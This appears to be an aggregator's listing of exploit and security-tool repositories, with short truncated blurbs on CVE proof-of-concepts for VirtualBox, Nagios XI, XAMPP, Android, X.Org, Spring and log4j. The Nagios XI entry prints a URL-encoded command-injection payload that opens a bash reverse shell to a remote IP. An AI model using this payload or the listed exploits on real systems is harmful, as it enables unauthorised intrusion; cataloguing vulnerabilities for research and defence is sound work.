vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 device buffer overflow Introduction The following document details a bug found in VirtualBox v5.1.22 now fixed in v5.1.24, in the guest device emulation component DevE1000 Intel 82540EM Ethernet Controller Emulation, in the function e1kFallbackAddToFrame, which...

CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploi...

CVE-2020-11107

CVE-2020-11107 This is a writeup for CVE-2020-11107 I've found. An issue was discovered in XAMPP before 7.2.29, 7.3.x before 7.3.16 , and 7.4.x before 7.4.4 on Windows. An unprivileged user can change a .exe configuration in xampp-contol.ini for all users including admins to enable arbitrary...

Debuggable-App-Exploit

CVE-2024-31317 Debuggable App Exploit A Python-based exploit for CVE-2024-31317 Android Zygote Injection that makes any installed Android app debuggable by injecting malicious zygote arguments through the hiddenapiblacklistexemptions setting. Includes optional Frida gadget injection for runtime...

CVE-2018-14665

CVE-2018-14665 0x00 Introduction Indian security researcher Narendra Shinde discovered a high-risk vulnerability CVE-2018-14665 in the X.Org Server package that allows a regular account to escalate privileges to root. It affects major Linux distributions including OpenBSD, Debian, Ubuntu, CentOS,...

CVE-2002-0200

CVE-2002-0200 Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name. External reference at https://marc.info/?l=bugtraq&m=101174569103289&w=2 Author Alex Hernandez aka @alt3kx...

CVE-2019-0708-generate-hosts

CVE-2019-0708-generate-hosts This program uses nmap to scan the CIDR addresses listed in the 3389cidrs file one per line and generates a 3389hosts file containing IP addresses of machines that are likely Windows machines with RDP 3389 enabled. This can significantly reduce the number of IPs that...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP Remote Code Execution Vulnerability EXP&POC Reproduction forforever: https://www.cnblogs.com/forforever/p/13846077.html PoC CVE-2020-16898Checker-poc Command: Run PowerShell/CMD as Administrator root@kitploit: Powershell.exe -ExecutionPolicy UnRestrict...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE Remote Command Execution Vulnerability usage root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit:...

bmc_bladelogic

BMC Bladelogic RSCD remote exploits for Linux and Windows Change passwords, List users and Remote code execution Exploiting vulnerabilities in BMC BladeLogic RSCD agent CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 Published on exploit-db BMCrexec.py...

Microfinance-Management-System-V1.0-SQL-Injection-Vulnerability-Unauthenticated

Microfinance Management System V1.0 SQL Injection Vulnerability Unauthenticated 1. Description: Microfinance Management System allows SQL Injection via parameter 'customernumber' in /mims/updatecustomer.php. Exploiting this issue could allow an attacker to compromise the application, access or...

CVE-2024-30804

ASUS Driver LPE PoC Physical Memory Abuse This is a PoC for Local Privilege Escalation LPE that exploits the AsInsHelp64.sys driver. It abuses a legitimate, signed ASUS driver to map physical memory and overwrite kernel tokens, eventually gaining NT AUTHORITY\SYSTEM privileges. 🎯 Vulnerability In...

CVE-2017-8641_chakra_Js_GlobalObject

Description described more from site CVE !!Yes Microsoft browsers in Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allow an attacker to execute arbitrary code in the conte...

CVE-2021-23758-POC

CVE-2021-23758-POC this repo has been created for training on the vulnerability in the ajaxpro. disclosed with the ID number CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99",...

CVE-2023-49981

CVE-2023-49981 School Fees Management System v1.0 - Incorrect Access Control - Directory Listing Description : A directory listing vulnerability in School Fees Management System v1.0 allows attackers to list directories and sensitive files within the application without requiring...

CVE-2021-31955-POC

CVE-2021-31955 Windows Kernel Information Disclosure POC The exploit works on all 64-bit vulnerable targets. unpatched system patched system...

tf-log4j-aws-poc

Readme Project Description This project files demostrate a proof-of-concept of log4j vulnerability CVE-2021-44228 on AWS using Terraform Infrastructure-as-a-code means. There are 2 demo in this project: 1. single-instance contains a vulnerable server, you can use your personal computer to exploit...

neet

NEET - Network Enumeration and Exploitation Tool Neet is a flexible, multi-threaded tool for network penetration testing. It runs on Linux and co-ordinates the use of numerous other open-source network tools, with the aim of gathering as much network information as possible in clear, easy-to-use...

device-modeling-language

Device Modeling Language The Device Modeling Language DML is a domain-specific language for writing fast functional or transaction-level device models for virtual platforms. DML provides high-level abstractions suitable for functional device models, including constructs like register banks,...

LIEF

Blog • Documentation • About About The purpose of this project is to provide a cross-platform library to parse, modify and abstract ELF, PE and MachO formats. Main features : Parsing : LIEF can parse ELF, PE, MachO, COFF, OAT, DEX, VDEX, ART and provides a user-friendly API to access their...